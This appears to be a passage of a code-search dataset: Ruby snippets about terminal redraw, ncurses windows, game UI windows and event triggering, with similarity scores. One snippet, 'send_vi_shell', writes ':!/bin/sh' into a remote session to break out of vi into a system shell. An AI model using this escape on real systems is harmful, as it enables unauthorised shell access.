- ostart\r\n else\r\n ols+=1\r\n end\r\n end\r\n if (new[nls,1] != 0.chr )\r\n if !@rl_byte_oriented\r\n nls = _rl_find_next_mbchar(new, nls, 1, MB_FIND_ANY)\r\n else\r\n nls+=1\r\n end\r\n end\r\n end\r\n\r\n # count of invisible characters in the current invisible line.\r\n current_invis_chars = w_offset(current_line, @wrap_offset)\r\n if (@_rl_last_v_pos != current_line)\r\n _rl_move_vert(current_line)\r\n if (@rl_byte_oriented && current_line == 0 && @visible_wrap_offset!=0)\r\n @_rl_last_c_pos += @visible_wrap_offset\r\n end\r\n end\r\n\r\n # If this is the first line and there are invisible characters in the\r\n # prompt string, and the prompt string has not changed, and the current\r\n # cursor position is before the last invisible character in the prompt,\r\n # and the index of the character to move to is past the end of the prompt\r\n # string, then redraw the entire prompt string. We can only do this\r\n # reliably if the terminal supports a `cr' capability.\r\n\r\n # This is not an efficiency hack -- there is a problem with redrawing\r\n # portions of the prompt string if they contain terminal escape\r\n # sequences (like drawing the `unbold' sequence without a corresponding\r\n # `bold') that manifests itself on certain terminals.\r\n\r\n lendiff = @local_prompt_len\r\n\r\n if (current_line == 0 && !@_rl_horizontal_scroll_mode &&\r\n @_rl_term_cr && lendiff > @prompt_visible_length && @_rl_last_c_pos > 0 &&\r\n ofd >= lendiff && @_rl_last_c_pos < prompt_ending_index())\r\n @rl_outstream.write(@_rl_term_cr)\r\n _rl_output_some_chars(@local_prompt,0,lendiff)\r\n if !@rl_byte_oriented\r\n # We take wrap_offset into account here so we can pass correct\r\n # information to _rl_move_cursor_relative.\r\n @_rl_last_c_pos = _rl_col_width(@local_prompt, 0, lendiff) - @wrap_offset\r\n @cpos_adjusted = true\r\n else\r\n @_rl_last_c_pos = lendiff\r\n end\r\n end\r\n\r\n o_cpos = @_rl_last_c_pos\r\n\r\n # When this function returns, _rl_last_c_pos is correct, and an absolute\r\n # cursor postion in multibyte mode, but a buffer index when not in a\r\n # multibyte locale.\r\n _rl_move_cursor_relative(ofd, old, ostart)\r\n\r\n # We need to indicate that the cursor position is correct in the presence\r\n # of invisible characters in the prompt string. Let's see if setting this\r\n # when we make sure we're at the end of the drawn prompt string works.\r\n if (current_line == 0 && !@rl_byte_oriented &&\r\n (@_rl_last_c_pos > 0 || o_cpos > 0) &&\r\n @_rl_last_c_pos == @prompt_physical_chars)\r\n @cpos_adjusted = true\r\n end\r\n\r\n # if (len (new) > len (old))\r\n # lendiff == difference in buffer\r\n # col_lendiff == difference on screen\r\n # When not using multibyte characters, these are equal\r\n lendiff = (nls - nfd) - (ols - ofd)\r\n if !@rl_byte_oriented\r\n col_lendiff = _rl_col_width(new, nfd, nls) - _rl_col_width(old, ostart+ofd, ostart+ols)\r\n else\r\n col_lendiff = lendiff\r\n end\r\n\r\n # If we are changing the number of invisible characters in a line, and\r\n # the spot of first difference is before the end of the invisible chars,\r\n # lendiff needs to be adjusted.\r\n if (current_line == 0 && !@_rl_horizontal_scroll_mode &&\r\n current_invis_chars != @visible_wrap_offset)\r\n if !@rl_byte_oriented\r\n lendiff += @visible_wrap_offset - current_invis_chars\r\n col_lendiff += @visible_wrap_offset - current_invis_chars\r\n else\r\n lendiff += @visible_wrap_offset - current_invis_chars\r\n col_lendiff = lendiff\r\n end\r\n end\r\n\r\n # Insert (diff (len (old), len (new)) ch.\r\n temp = ne - nfd\r\n if !@rl_byte_oriented\r\n col_temp = _rl_col_width(new,nfd,ne)\r\n else\r\n col_temp = temp\r\n end\r\n if (col_lendiff > 0) # XXX - was lendiff\r\n\r\n # Non-zero if we're increasing the number of lines.\r\n gl = current_line >= @_rl_vis_botlin && inv_botlin > @_rl_vis_botlin\r\n\r\n # If col_lendiff is > 0, implying that the new string takes up more\r\n # screen real estate than the old, but lendiff is < 0, meaning that it\r\n # takes fewer bytes, we need to just output the characters starting from\r\n # the first difference. These will overwrite what is on the display, so\r\n # there's no reason to do a smart update. This can really only happen in\r\n # a multibyte environment.\r\n if lendiff < 0\r\n _rl_output_some_chars(new, nfd, temp)\r\n @_rl_last_c_pos += _rl_col_width(new, nfd, nfd+temp)\r\n\r\n # If nfd begins before any invisible characters in the prompt, adjust\r\n # _rl_last_c_pos to account for wrap_offset and set cpos_adjusted to\r\n # let the caller know.\r\n if current_line == 0 && @wrap_offset && nfd <= @prompt_last_invisible\r\n @_rl_last_c_pos -= @wrap_offset\r\n @cpos_adjusted = true\r\n end\r\n return\r\n # Sometimes it is cheaper to print the characters rather than\r\n # use the terminal's capabilities. If we're growing the number\r\n # of lines, make sure we actually cause the new line to wrap\r\n # around on auto-wrapping terminals.\r\n elsif (@_rl_terminal_can_insert && ((2 * col_temp) >= col_lendiff || @_rl_term_IC) && (!@_rl_term_autowrap || !gl))\r\n\r\n # If lendiff > prompt_visible_length and _rl_last_c_pos == 0 and\r\n # _rl_horizontal_scroll_mode == 1, inserting the characters with\r\n # _rl_term_IC or _rl_term_ic will screw up the screen because of the\r\n # invisible characters. We need to just draw them.\r\n if (old[ostart+ols,1] != 0.chr && (!@_rl_horizontal_scroll_mode || @_rl_last_c_pos > 0 ||\r\n lendiff <= @prompt_visible_length || current_invis_chars==0))\r\n\r\n insert_some_chars(new[nfd..-1], lendiff, col_lendiff)\r\n @_rl_last_c_pos += col_lendiff\r\n elsif ((@rl_byte_oriented) && old[ostart+ols,1] == 0.chr && lendiff > 0)\r\n # At the end of a line the characters do not have to\r\n # be \"inserted\". They can just be placed on the screen.\r\n # However, this screws up the rest of this block, which\r\n # assumes you've done the insert because you can.\r\n _rl_output_some_chars(new,nfd, lendiff)\r\n @_rl_last_c_pos += col_lendiff\r\n else\r\n _rl_output_some_chars(new,nfd, temp)\r\n @_rl_last_c_pos += col_temp\r\n # If nfd begins before any invisible characters in the prompt, adjust\r\n # _rl_last_c_pos to account for wrap_offset and set cpos_adjusted to\r\n # let the caller know.\r\n if current_line == 0 && @wrap_offset && nfd <= @prompt_last_invisible\r\n @_rl_last_c_pos -= @wrap_offset\r\n @cpos_adjusted = true\r\n end\r\n return\r\n end\r\n # Copy (new) chars to screen from first diff to last match.\r\n temp = nls - nfd\r\n if ((temp - lendiff) > 0)\r\n _rl_output_some_chars(new,(nfd + lendiff),temp - lendiff)\r\n # XXX -- this bears closer inspection. Fixes a redisplay bug\r\n # reported against bash-3.0-alpha by Andreas Schwab involving\r\n # multibyte characters and prompt strings with invisible\r\n # characters, but was previously disabled.\r\n @_rl_last_c_pos += _rl_col_width(new,nfd+lendiff, nfd+lendiff+temp-col_lendiff)\r\n end\r\n else\r\n # cannot insert chars, write to EOL\r\n _rl_output_some_chars(new,nfd, temp)\r\n @_rl_last_c_pos += col_temp\r\n # If we're in a multibyte locale and were before the last invisible\r\n # char in the current line (which implies we just output some invisible\r\n # characters) we need to adjust _rl_last_c_pos, since it represents\r\n # a physical character position.\r\n end\r\n else # Delete characters from line.\r\n # If possible and inexpensive to use terminal deletion, then do so.\r\n if (@_rl_term_dc && (2 * col_temp) >= -col_lendiff)\r\n\r\n # If all we're doing is erasing the invisible characters in the\r\n # prompt string, don't bother. It screws up the assumptions\r\n # about what's on the screen.\r\n if (@_rl_horizontal_scroll_mode && @_rl_last_c_pos == 0 &&\r\n -lendiff == @visible_wrap_offset)\r\n col_lendiff = 0\r\n end\r\n\r\n if (col_lendiff!=0)\r\n delete_chars(-col_lendiff) # delete (diff) characters\r\n end\r\n\r\n # Copy (new) chars to screen from first diff to last match\r\n temp = nls - nfd\r\n if (temp > 0)\r\n # If nfd begins at the prompt, or before the invisible characters in\r\n # the prompt, we need to adjust _rl_last_c_pos in a multibyte locale\r\n # to account for the wrap offset and set cpos_adjusted accordingly.\r\n _rl_output_some_chars(new,nfd, temp)\r\n if !@rl_byte_oriented\r\n @_rl_last_c_pos += _rl_col_width(new,nfd,nfd+temp)\r\n if current_line == 0 && @wrap_offset && nfd <= @prompt_last_invisible\r\n @_rl_last_c_pos -= @wrap_offset\r\n @cpos_adjusted = true\r\n end\r\n else\r\n @_rl_last_c_pos += temp\r\n end\r\n end\r\n\r\n # Otherwise, print over the existing material.\r\n else\r\n if (temp > 0)\r\n # If nfd begins at the prompt, or before the invisible characters in\r\n # the prompt, we need to adjust _rl_last_c_pos in a multibyte locale\r\n # to account for the wrap offset and set cpos_adjusted accordingly.\r\n _rl_output_some_chars(new,nfd, temp)\r\n @_rl_last_c_pos += col_temp # XXX\r\n if !@rl_byte_oriented\r\n if current_line == 0 && @wrap_offset && nfd <= @prompt_last_invisible\r\n @_rl_last_c_pos -= @wrap_offset\r\n @cpos_adjusted = true\r\n end\r\n end\r\n end\r\n\r\n lendiff = (oe) - (ne)\r\n if !@rl_byte_oriented\r\n col_lendiff = _rl_col_width(old, ostart, ostart+oe) - _rl_col_width(new, 0, ne)\r\n else\r\n col_lendiff = lendiff\r\n end\r\n\r\n if (col_lendiff!=0)\r\n if (@_rl_term_autowrap && current_line < inv_botlin)\r\n space_to_eol(col_lendiff)\r\n else\r\n _rl_clear_to_eol(col_lendiff)\r\n end\r\n end\r\n end\r\n end\r\n end",
"def vo_rootwin _value=0\n send_cmd(\"vo_rootwin #{_value}\")\n end",
"def putwin(file)\n Ncurses.putwin(file)\n end",
"def setup_terminal\n # Setup the terminal for the TUI.\n # '\\e[?1049h': Use alternative screen buffer. smcup\n # '\\e[?7l': Disable line wrapping.\n # '\\e[?25l': Hide the cursor.\n # '\\e[2J': Clear the screen.\n # '\\e[1;Nr': Limit scrolling to scrolling area.\n # Also sets cursor to (0,0).\n # printf(\"\\e[?1049h\\e[?7l\\e[?25l\\e[2J\\e[1;%sr\", @glines)\n # 2019-03-29 - XXX temporarily not hiding cursor to see if we can place it.\n printf(\"\\e[?1049h\\e[?7l\\e[?25h\\e[2J\\e[1;%sr\", @glines)\n # earlier glines was grows\n\n # Hide echoing of user input\n system 'stty -echo'\nend",
"def in_xterm_state(options = {})\n output.echo_off\n output.enable_alternate_screen if options[:full] || options[:alternate_screen]\n output.enable_mouse if options[:full] || options[:mouse]\n output.hide_cursor if options[:full] || options[:no_cursor]\n output.enable_utf8 if options[:utf8]\n output.enable_focus_events\n output.enable_resize_events\n output.clear\n\n yield self\n ensure\n output.reset_all\n output.disable_utf8 if options[:utf8]\n if options[:full] || options[:alternate_screen]\n output.reset_color\n output.clear\n output.disable_alternate_screen\n end\n end",
"def curses_print_and_refresh(x, y, string) # rubocop:disable Naming/MethodParameterName\n Curses.setpos(x, y)\n Curses.addstr(string)\n Curses.refresh\nend",
"def repaint\n woffset = 2\n coffset = 1\n\n # 2016-01-14 - replacing 1 with space since junk is showing up in some cases (in mvvline/mvhline)\n space_char = \" \".codepoints.first\n\n if @parent\n woffset = 0 if @parent.suppress_borders\n @border_attrib ||= @parent.border_attrib\n case @side\n when :right\n @row = @parent.row+1\n @col = @parent.col + @parent.width - 0\n @length = @parent.height - woffset\n when :left\n @row = @parent.row+1\n @col = @parent.col+0 #+ @parent.width - 1\n @length = @parent.height - woffset\n when :top\n @row = @parent.row+0\n @col = @parent.col + @parent.col_offset #+ @parent.width - 1\n @length = @parent.width - woffset\n when :bottom\n @row = @[email protected] #1\n @col = @[email protected]_offset #+ @parent.width - 1\n @length = @parent.width - woffset\n end\n else\n # row, col and length should be passed\n end\n my_win = @form ? @form.window : @target_window\n @graphic = my_win unless @graphic\n raise \"graphic is nil in divider, perhaps form was nil when creating\" unless @graphic\n return unless @repaint_required\n\n # first print a right side vertical line\n #bc = $bottomcolor # dark blue\n bc = get_color($datacolor, :cyan, :black)\n bordercolor = @border_color || bc\n borderatt = @border_attrib || Ncurses::A_REVERSE\n if @focussed \n bordercolor = $promptcolor || bordercolor\n end\n\n borderatt = convert_attrib_to_sym(borderatt) if borderatt.is_a? Symbol\n\n @graphic.attron(Ncurses.COLOR_PAIR(bordercolor) | borderatt)\n $log.debug \" XXX DIVIDER #{@row} #{@col} #{@length} \"\n case @side\n when :right, :left\n @graphic.mvvline(@row, @col, space_char, @length)\n when :top, :bottom\n @graphic.mvhline(@row, @col, space_char, @length)\n end\n @graphic.attroff(Ncurses.COLOR_PAIR(bordercolor) | borderatt)\n _paint_marker\n #alert \"divider repaint at #{row} #{col} \"\n\n @repaint_required = false\n end",
"def reset_window\n if $game_temp.in_battle\n self.y = 16\n else\n case $game_system.message_position\n when 0 # up\n self.y = 16\n when 1 # middle\n self.y = 160\n when 2 # down\n self.y = 304\n end\n end\n if $game_system.message_frame == 0\n self.opacity = 255\n else\n self.opacity = 0\n end\n#------------------------------------------------------------------------------\n# Begin Multiple Message Windows Edit\n#------------------------------------------------------------------------------\n # transparent speech bubbles don't look right, so keep opacity at 255\n # self.back_opacity = 160\n @tail.opacity = 255\n#------------------------------------------------------------------------------\n# End Multiple Message Windows Edit\n#------------------------------------------------------------------------------\n end",
"def get_winsize\n str = [0, 0, 0, 0].pack('SSSS')\n if STDIN.ioctl(TIOCGWINSZ, str) >= 0\n rows, cols, xpixels, ypixels = str.unpack(\"SSSS\")\n #rows, cols, xpixels, ypixels\n cols\n end\nend",
"def window_width() Graphics.width - 128 end",
"def print_border_mb row, col, height, width, color, attr\n # the next is for xterm-256 \n att = get_attrib attr\n len = width\n len = Ncurses.COLS-0 if len == 0\n # print a bar across the screen \n #attron(Ncurses.COLOR_PAIR(color) | att)\n # this works for newmessagebox but not for old one.\n # Even now in some cases some black shows through, if the widget is printing spaces\n # such as field or textview on a messagebox.\n # 2016-01-14 - replacing 1 with space since junk is showing up in some cases.\n space_char = \" \".codepoints.first\n (row-1).upto(row+height-1) do |r|\n # this loop clears the screen, printing spaces does not work since ncurses does not do anything\n mvwhline(r, col, space_char, len)\n end\n #attroff(Ncurses.COLOR_PAIR(color) | att)\n\n mvwaddch row, col, Ncurses::ACS_ULCORNER\n mvwhline( row, col+1, Ncurses::ACS_HLINE, width-6)\n mvwaddch row, col+width-5, Ncurses::ACS_URCORNER\n mvwvline( row+1, col, Ncurses::ACS_VLINE, height-4)\n\n mvwaddch row+height-3, col, Ncurses::ACS_LLCORNER\n mvwhline(row+height-3, col+1, Ncurses::ACS_HLINE, width-6)\n mvwaddch row+height-3, col+width-5, Ncurses::ACS_LRCORNER\n mvwvline( row+1, col+width-5, Ncurses::ACS_VLINE, height-4)\n end",
"def needs_redraw?; end",
"def after_win\n\n end",
"def update_window_skins_selection()\n if Input.trigger?(Input::B)\n Sound.play_cancel\n cancel_command()\n elsif Input.repeat?(Input::LEFT) || Input.repeat?(Input::RIGHT)\n old_val = $game_variables[YE::SYSTEM::WINDOW_VARIABLE]\n if Input.repeat?(Input::LEFT)\n $game_variables[YE::SYSTEM::WINDOW_VARIABLE] -= 1\n if $game_variables[YE::SYSTEM::WINDOW_VARIABLE] == 0\n $game_variables[YE::SYSTEM::WINDOW_VARIABLE] = 1\n end\n elsif Input.repeat?(Input::RIGHT)\n $game_variables[YE::SYSTEM::WINDOW_VARIABLE] += 1\n if $game_variables[YE::SYSTEM::WINDOW_VARIABLE] > MENU_CONFIG::WINDOW_HASH.size\n $game_variables[YE::SYSTEM::WINDOW_VARIABLE] = MENU_CONFIG::WINDOW_HASH.size\n end\n end\n if old_val != $game_variables[YE::SYSTEM::WINDOW_VARIABLE]\n Sound.play_cursor\n #Recreate windows to use the new font when necessary\n temp = @system_window\n @system_window = Window_System.new(temp.x, temp.y, temp.width, temp.height)\n temp.dispose()\n \n temp = @help_window\n @help_window = Window_Info_Help.new(temp.x, temp.y, 640, 96, YE::SYSTEM::WINDOW_HELP)\n temp.dispose()\n end\n end\n end",
"def signal\r\n Ragweed::Wrap32::set_event(@h)\r\n end",
"def resizable?; true; end",
"def window_update(enemy, scan_mode)\n if enemy != nil\n @scan_mode = scan_mode\n @ucEnemyGraphic.enemy = enemy\n end\n refresh()\n end",
"def setwsviewport(*)\n super\n end",
"def remake_window\n self.width = window_width\n self.height = window_height\n create_contents\n end",
"def on_window_adjust( &block )\n @on_window_adjust = block\n end",
"def minimize()\r\n $jssh_socket.send(\"#{WINDOW_VAR}.minimize();\\n\", 0)\r\n read_socket()\r\n end",
"def getch\n @window.getch\n end",
"def resize_mix_window_yea_abe\n return unless $imported[\"YEA-BattleEngine\"]\n @mix_window.height = @skill_window.height\n @mix_window.width = @skill_window.width\n @mix_window.y = Graphics.height - @item_window.height\n end",
"def before_exit\n system 'tput reset; stty icanon; stty echo; clear'\n end",
"def consume_self_pipe(handles, fd)\n code = fd.read(1)\n case code\n when 'R'\n new_size = IO.console.winsize\n Ncurses.resizeterm(*new_size)\n Ncurses.stdscr.clear\n list.dirty!\n list.render\n Ncurses.refresh\n end\n end",
"def resize_browser(x,y)\r\n\t\t#resize\r\n\t\[email protected]_to(x,y)\r\n\t\tsleep 3\r\n\tend",
"def wcursyncup\n Ncurses.wcursyncup(pointer)\n end",
"def OLDgetch\n c = FFI::NCurses.wgetch(@pointer)\n rescue SystemExit, Interrupt \n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n end",
"def size(x, y)\n start_time = Time.now\n xdotool \"windowsize #{@id} #{x} #{y}\"\n while [x, y] != get_geometry(@id)\n abort(\"*** #{File.basename(__FILE__)}: Window #{@id} did not react - are you running a tiling window manager? Exiting...\") if Time.now - start_time > 2\n end\n end",
"def do_window_adjust( bytes_to_add )\n @window_size += bytes_to_add\n callback :window_adjust, self, bytes_to_add\n end",
"def install_show_stopper_into(client)\n %w[TERM INT].each do |signal|\n Signal.trap(signal, proc do\n info { \"Received #{signal} signal, so quitting ...\" }\n client.close { EventMachine.stop }\n end)\n end\n end",
"def raw_no_echo_mode\n FFI::NCurses.initscr\n FFI::NCurses.cbreak\n end",
"def main_window\r\n super\r\n # Make command window\r\n s1 = \"New Game\"\r\n s2 = \"Continue\"\r\n s3 = \"Shutdown\"\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.back_opacity = 160\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 288\r\n # If continue is enabled, move cursor to \"Continue\"\r\n # If disabled, display \"Continue\" text in gray\r\n if @continue_enabled\r\n @command_window.index = 1\r\n else\r\n @command_window.disable_item(1)\r\n end\r\n end",
"def window_width\n return COMMAND_WINDOW_WIDTH\n end",
"def winsize\n $stdout.winsize\nend",
"def clear_screen\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\nend",
"def clear_screen\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\nend",
"def clear_screen\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\nend",
"def zoom_in_out(in_out)\n if get_os==\"windows\"\n key=\"control\"\n elsif get_os==\"mac\"\n key=\"command\"\n end\n\n $driver.action.key_down(:\"#{key}\").send_keys(:\"#{in_out}\").key_up(:\"#{key}\").perform\nend",
"def terminal_size\n size = [80, 40]\n FFI::NCurses.initscr\n begin\n size = FFI::NCurses.getmaxyx(FFI::NCurses.stdscr).reverse\n ensure\n FFI::NCurses.endwin\n end\n size\n end",
"def resize_async(width, height, use_hints = false)\n flags = use_hints ? XDo::FFILib::Consts::SIZE_U : 0\n XDo::FFILib.xdo_window_setsize @_xdo_pointer, @_window, width, height, flags\n end",
"def maximize()\r\n $jssh_socket.send(\"#{WINDOW_VAR}.maximize();\\n\", 0)\r\n read_socket()\r\n end",
"def send_vi_shell\n send_ctrl_escape\n data = \":!/bin/sh\" + \"\\n\"\n session.shell_write(data)\n end",
"def window_size()\n\[email protected]_to(x, y)\nend",
"def install_show_stopper_into(client)\n ['TERM', 'INT'].each do |signal|\n Signal.trap(signal, Proc.new do\n info { \"Received #{signal} signal, so quitting ...\" }\n client.close { EventMachine.stop }\n end)\n end\n end",
"def resize(w, h, animate=false)\n b = current_bounds\n w = absolutize_size(w, :width)\n h = absolutize_size(h, :height)\n app.windows[0].bounds.set([ b[0], b[1] + height, b[0] + w, b[1] + h + height ])\n end",
"def draw_chall_rewards\n if !BattleManager.current_BChall.nil?\n #msgbox \"ok\"\n @chall_window.mode = :reward\n #I keep this for reference\n #while @chall_window.active\n # wait(1)\n #end\n draw_chall_window\n end\n end",
"def window_handle; end"
] | [
"0.63828766",
"0.61948633",
"0.58233225",
"0.58028",
"0.576226",
"0.5656884",
"0.56419384",
"0.5637691",
"0.5577362",
"0.54738194",
"0.5473249",
"0.5447006",
"0.54385275",
"0.53427464",
"0.53353596",
"0.5297545",
"0.5282795",
"0.5266352",
"0.52637595",
"0.52584106",
"0.5229348",
"0.518184",
"0.5174345",
"0.5159533",
"0.5135816",
"0.5094264",
"0.5082549",
"0.5071898",
"0.5069782",
"0.5067305",
"0.5036086",
"0.5026672",
"0.5026672",
"0.50164884",
"0.5012283",
"0.5007956",
"0.49864584",
"0.49705356",
"0.49554822",
"0.49541888",
"0.4953557",
"0.49413392",
"0.49382004",
"0.4925131",
"0.4923563",
"0.4920441",
"0.4919249",
"0.48919097",
"0.4890996",
"0.48871714",
"0.48802575",
"0.4874634",
"0.48684976",
"0.486211",
"0.48430157",
"0.48395896",
"0.48349816",
"0.4833304",
"0.48302475",
"0.482728",
"0.48247266",
"0.48209977",
"0.4805751",
"0.47985876",
"0.4796894",
"0.47956294",
"0.47933",
"0.4771046",
"0.47704193",
"0.47609112",
"0.47453687",
"0.47381735",
"0.47365862",
"0.47326663",
"0.47292724",
"0.4717269",
"0.47170892",
"0.47095647",
"0.47093838",
"0.47036004",
"0.47011194",
"0.46978372",
"0.46976176",
"0.46944022",
"0.46943563",
"0.4692627",
"0.46892974",
"0.46846068",
"0.46846068",
"0.46846068",
"0.46770763",
"0.467466",
"0.46733573",
"0.467075",
"0.46702772",
"0.46642616",
"0.4656472",
"0.46517348",
"0.46448284",
"0.4644192"
] | 0.4684728 | 87 |
Trigger a registered or system event by name with arguments. If the event stored returns a value, that is returned. If multiple events are registered for a name, then the result of each event will be returned as part of a collection. | def trigger(name, *args)
Events.use(name, *args)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def registered_events\n return repository.find(name) if repository.registered?(name)\n\n Vedeu::Events::Aliases.find(name).map do |event_name|\n Vedeu::Events::Trigger.trigger(event_name, *args)\n end\n\n []\n end",
"def registered_events\n return repository.find(name) if repository.registered?(name)\n\n Vedeu::Events::Aliases.find(name).map do |event_name|\n Vedeu::Events::Trigger.trigger(event_name, *args)\n end\n\n []\n end",
"def trigger_event(event_name, *args)\n event_callbacks[event_name].each do |cb|\n begin\n cb.call(*args)\n rescue Exception => ex\n warn \"[OnStomp/Event] triggering #{event_name} raised an error: #{ex}\"\n end\n end\n end",
"def trigger\n Vedeu.log(type: :event,\n message: \"No action for: '#{name.inspect}'\") if results.empty?\n\n return results[0] if results.one?\n\n results\n end",
"def trigger\n if Vedeu.config.debug? && results.empty?\n Vedeu.log(type: :nonevent,\n message: \"No action for: '#{name.inspect}'\")\n end\n\n return results[0] if results.one?\n\n results\n end",
"def fire_events(event_name, step_result)\n events_to_fire = events.fetch(event_name, missing_events)\n if events_to_fire.empty?\n fail EventMissingError, \"No event registered for #{event_name}\"\n end\n events_to_fire.each_with_index do |event, i|\n execute_event(event_name, event, step_result)\n end\n @last_event_fired = event_name\n end",
"def trigger(event, *params, &block)\n catch :return do\n return_value = nil\n __handlers[event.to_sym].each do |handler|\n return_value = handler.call(*params, &block)\n end\n return_value\n end\n end",
"def trigger(event_name, payload = {})\n handlers.each do |handler|\n next unless handler.respond_to?(:trigger)\n\n handler.trigger(self, event_name, payload)\n end\n end",
"def trigger(event_name, args, object, scope: nil)\n field = @schema.get_field(\"Subscription\", event_name)\n if !field\n raise \"No subscription matching trigger: #{event_name}\"\n end\n\n event = Subscriptions::Event.new(\n name: event_name,\n arguments: args,\n field: field,\n scope: scope,\n )\n execute_all(event, object)\n end",
"def exec_hook(event_name, *args, &block)\n @hooks[event_name] ||= []\n\n # silence warnings to get rid of 1.8's \"warning: multiple values\n # for a block parameter\" warnings\n Pry::Helpers::BaseHelpers.silence_warnings do\n @hooks[event_name].map do |hook_name, callable|\n begin\n callable.call(*args, &block)\n rescue RescuableException => e\n errors << e\n e\n end\n end.last\n end\n end",
"def fire(event_type, *arguments)\n @events[event_type].each do |event|\n event.call(*arguments)\n end if event_is_defined(event_type)\n end",
"def dispatch(event, *args)\n result = nil\n @events[event]&.each { |hdl| result = hdl.call(*args) }\n result\n end",
"def trigger_event(eventSymbol, *args)\n engine.send(eventSymbol, *args)\n end",
"def event(*args)\n name, to = args.first.is_a?(Symbol) ? args.first : args.first.to_a.flatten\n @events[name.to_sym] = Event.new(name, to)\n end",
"def fire(event_name, opts = {})\n adapter.fire name_with_suffix(event_name), opts do\n yield opts if block_given?\n end\n end",
"def dispatch_event(event_name, args)\n @event_message_channels[event_name].each do |message_channel|\n message_channel.send [:event, event_name, args]\n end\n end",
"def trigger(event_name, data)\n\t\[email protected] do |name, component|\n\t\t\t# Don't do this for flat tags, eg. :name\n\t\t\tcomponent.receive_event(event_name, data) if component.respond_to?(:receive_event)\n\t\tend\n\tend",
"def execute_hook(event_name, args)\n @hook_manager.exec_hook(event_name, args)\n end",
"def event_for(*args)\n Event.new(*args)\n end",
"def trigger(side, event, *args)\n self.class.hooks[:\"#{ side }_#{ event }\"].each do |method_name|\n if method(method_name).arity.zero?\n __send__(method_name)\n else\n __send__(method_name, *args)\n end\n end\n\n nil\n end",
"def emit name, *args\n # Trigger callbacks in scripts before triggering events in the client.\n notify_scripts name, *args\n\n matching_callbacks = callbacks[name]\n return false unless matching_callbacks&.any?\n\n matching_callbacks.each { |callback| callback.call *args }\n end",
"def fire_event locator, event_name\r\n command 'fireEvent', locator, event_name\r\n end",
"def fire_event locator, event_name\r\n command 'fireEvent', locator, event_name\r\n end",
"def exec_hook(event_name, *args, &block)\n PuppetDebugServer.log_message(:debug, \"Starting to execute hook #{event_name}\") unless event_name == :hook_log_message\n @hooks[event_name.to_s].map do |_hook_name, callable|\n begin\n callable.call(*args, &block)\n rescue ::RuntimeError => e\n errors << e\n e\n end\n end.last\n PuppetDebugServer.log_message(:debug, \"Finished executing hook #{event_name}\") unless event_name == :hook_log_message\n end",
"def execute_hook(hook_name, *args, &block)\n event = Event.new(self, hook_name, args, !!block)\n\n if block\n execute_hook_recursively(hook_name, event, block)\n else\n execute_hook_iteratively(hook_name, event)\n end\n end",
"def execute_hook(hook_name, *args, &block)\n event = Event.new(self, hook_name, args, !!block)\n\n if block\n execute_hook_recursively(hook_name, event, block)\n else\n execute_hook_iteratively(hook_name, event)\n end\n end",
"def fire(event_name)\n\t\t\tcallback = @events[event_name]\n\t\t\t\n\t\t\tif callback\n\t\t\t\tcallback.call(self)\n\t\t\tend\n\t\tend",
"def event!(*args)\n @events&.call(*args)\n end",
"def trigger_async(channels, event_name, data, params = {})\n post_async('/events', trigger_params(channels, event_name, data, params))\n end",
"def run(event, params = nil)\n @events[event].call(params)\n end",
"def event(name:, client_args:, event_args: {})\n client(client_args).event(event_args.merge(action: name))\n end",
"def fire(event, *args) #:nod\n ensure_valid event\n listeners = @subscriptions[event] if @subscriptions\n listeners.each do |l|\n if l.is_a? Array\n l[0].send(l[1],*args)\n else\n l.call(*args)\n end\n end if listeners\n end",
"def fire_event(event_name, resource)\n unless event = find_event(event_name)\n raise InvalidEvent, \"Could not find event (#{event_name.inspect})\"\n end\n transition = event.transitions.find do |t|\n t[:from].to_s == @current_state_name.to_s\n end\n unless transition\n raise InvalidEvent, \"Event (#{event_name.inspect}) does not\" +\n \"exist for current state (#{@current_state_name.inspect})\"\n end\n\n # == Run :exit hook (if present) ==\n resource.run_hook_if_present current_state.options[:exit]\n\n # == Change the current_state ==\n @current_state_name = transition[:to]\n\n # == Run :enter hook (if present) ==\n resource.run_hook_if_present current_state.options[:enter]\n end",
"def exec_hook(name, *args, &block)\n @hooks[name] ||= {}\n Hash[@hooks[name].each.map { |k, v| [k, v.call(*args, &block)] }]\n end",
"def find_and_trigger_event(event_type, args = nil)\r\n \r\n case event_type\r\n when :before_change\r\n \r\n if respond_to?(:before_change)\r\n \r\n results = send(:before_change, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :after_change\r\n \r\n if respond_to?(:after_change)\r\n \r\n results = send(:after_change, args)\r\n return false if results == false\r\n \r\n end\r\n \r\n when :before_change_field\r\n \r\n #CALL FOR A SPECIFIC FIELD THAT HAS CHANGED\r\n trigger_function_name = \"#{:before_change_field}_#{args.field_name}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n #CALL FOR ANY FIELD THAT CHANGES\r\n trigger_function_name = \"#{:before_change_field}\"\r\n if respond_to?(trigger_function_name)\r\n \r\n results = send(trigger_function_name, args) \r\n return false if results == false\r\n \r\n end\r\n \r\n when :after_change_field\r\n #looks in own class for :after_change_field for the field passed, requires the parameter of a Field object to be passed\r\n \r\n #SAPPHIRE UPDATE\r\n #SEARCH FOR ACTIVE MAP DEFINITION THAT INCLUDES THE CURRENT TABLE AND FIELD.\r\n #IF ANY ARE FOUND QUEUE THE PROCESS\r\n if args.table.field_order.include?(\"student_id\")\r\n \r\n if map_id = $tables.attach(\"SAPPHIRE_INTERFACE_MAP\").field_value(\r\n \"primary_id\",\r\n \"WHERE athena_table = '#{table_name }'\r\n AND athena_field = '#{args.field_name }'\r\n AND trigger_event = 'after_change_field'\"\r\n )\r\n \r\n sid = $tables.attach(args.table.table_name).field_value(\"student_id\", \"WHERE primary_id = '#{args.primary_id}'\")\r\n student = $students.get(sid)\r\n \r\n if student && student.active.is_true?\r\n \r\n queue_record = $tables.attach(\"SAPPHIRE_INTERFACE_QUEUE\").new_row\r\n queue_record.fields[\"map_id\" ].value = map_id\r\n queue_record.fields[\"athena_pid\" ].value = args.primary_id\r\n queue_record.save\r\n \r\n end\r\n \r\n end\r\n 